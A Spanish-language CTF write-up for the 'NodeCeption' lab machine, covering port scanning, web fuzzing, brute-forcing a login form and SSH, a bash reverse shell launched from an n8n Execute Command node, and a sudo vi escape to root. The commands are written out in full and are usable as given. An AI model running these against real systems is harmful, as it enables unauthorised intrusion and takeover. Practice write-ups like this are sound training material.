Resolución del CTF – NodeCeption
Enumeración
Escaneo de puertos
Realizamos un escaneo de todos los puertos para identificar los servicios activos en el sistema objetivo.
nmap -p- --open -sCV -Pn -n --min-rate 5000 192.168.0.115- -p- : Escaneo de todos los puertos. (65535)
- -sS : Realiza un TCP SYN Scan para escanear rápidamente qué puertos están abiertos.
- -sC : Escaneo con scripts básicos de reconocimiento.
- -sV : Detección de servicios.
- –min-rate 5000 : Escaneo no inferior a 5000 paquetes/segundo.
- -n : Sin resolución DNS.
- -Pn : Sin descubrimiento por ping.
Identificamos los siguientes servicios expuestos:
22/tcp (SSH), 5678/tcp (n8n), 8765/tcp (Apache).
Enumeración Web
Accedemos al servicio Apache en el puerto 8765 y analizamos el código fuente de la página principal.
Encontramos un comentario con un correo electrónico y una política de contraseñas, lo que nos permite identificar un usuario válido.
Realizamos fuzzing de rutas para localizar un panel de autenticación.
gobuster dir -u http://192.168.0.115:8765 -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -x php,html,txtLocalizamos el endpoint login.php, que presenta un formulario de autenticación por correo y contraseña.
Acceso Inicial
Realizamos un ataque de fuerza bruta contra el formulario de login utilizando el correo identificado previamente.
ffuf -w /usr/share/wordlists/rockyou.txt -X POST -d "[email protected]&password=FUZZ" -u http://192.168.0.115:8765/login.php -H "Content-Type: application/x-www-form-urlencoded" -mc all -fs 1808Obtenemos credenciales válidas y accedemos correctamente al panel web.
Reutilizamos estas credenciales para autenticarnos en el panel n8n expuesto en el puerto 5678.
Ejecución Remota de Comandos
Desde el panel de n8n creamos un workflow con un nodo Execute Command que nos permite ejecutar comandos en el sistema.
Configuramos una reverse shell hacia nuestro equipo.
bash -c 'bash -i >& /dev/tcp/192.168.0.109/4444 0>&1'Preparamos el listener y ejecutamos el workflow.
nc -nlvp 4444Obtenemos una shell interactiva como el usuario thl.
Escalada de Privilegios
Enumeramos permisos sudo disponibles para el usuario comprometido.
sudo -lObservamos que vi puede ejecutarse con privilegios elevados, pero requiere contraseña debido a la configuración de sudo.
Realizamos fuerza bruta contra el servicio SSH para obtener la contraseña del usuario.
hydra -l thl -P /usr/share/wordlists/rockyou.txt ssh://192.168.0.115Accedemos por SSH con credenciales válidas y ejecutamos vi como root aprovechando GTFOBins.
sudo vi -c ':!/bin/sh' /dev/nullObtenemos una shell con privilegios de root y control total del sistema.
